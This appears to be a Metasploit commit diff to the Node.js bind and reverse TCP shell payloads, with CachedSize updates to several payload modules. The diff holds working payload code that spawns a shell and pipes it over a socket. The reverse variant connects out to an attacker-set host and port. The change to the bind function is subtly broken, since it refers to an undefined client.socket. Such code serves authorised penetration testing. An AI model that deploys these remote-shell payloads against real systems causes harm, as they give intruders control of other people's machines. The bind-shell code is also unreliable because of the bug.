Land rapid7#8825, Handle missing util.pump in nodejs shell payloads

Author: jmartin-tech

lib/msf/core/payload/nodejs.rb

@@ -18,8 +18,13 @@ def nodejs_bind_tcp
         var server = net.createServer(function(socket) {  
           var sh = cp.spawn(cmd, []);
           socket.pipe(sh.stdin);
-          util.pump(sh.stdout, socket);
-          util.pump(sh.stderr, socket);
+          if (typeof util.pump === "undefined") {
+            sh.stdout.pipe(client.socket);
+            sh.stderr.pipe(client.socket);          
+          } else {
+            util.pump(sh.stdout, client.socket);
+            util.pump(sh.stderr, client.socket);
+          }
         });
         server.listen(#{datastore['LPORT']});
       })();
@@ -53,8 +58,13 @@ def nodejs_reverse_tcp(opts={})
         var client = this;
         client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
           client.socket.pipe(sh.stdin);
-          util.pump(sh.stdout, client.socket);
-          util.pump(sh.stderr, client.socket);
+          if (typeof util.pump === "undefined") {
+            sh.stdout.pipe(client.socket);
+            sh.stderr.pipe(client.socket);          
+          } else {
+            util.pump(sh.stdout, client.socket);
+            util.pump(sh.stderr, client.socket);
+          }
         });
       })();
     EOS

modules/payloads/singles/cmd/unix/bind_nodejs.rb

@@ -10,7 +10,7 @@
 
 module MetasploitModule
 
-  CachedSize = 1843
+  CachedSize = 2351
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS

modules/payloads/singles/cmd/unix/reverse_nodejs.rb

@@ -10,7 +10,7 @@
 
 module MetasploitModule
 
-  CachedSize = 1971
+  CachedSize = 2423
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_bind_tcp.rb

@@ -13,7 +13,7 @@
 
 module MetasploitModule
 
-  CachedSize = 456
+  CachedSize = 583
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_reverse_tcp.rb

@@ -13,7 +13,7 @@
 
 module MetasploitModule
 
-  CachedSize = 488
+  CachedSize = 601
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb

@@ -10,7 +10,7 @@
 
 module MetasploitModule
 
-  CachedSize = 516
+  CachedSize = 629
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS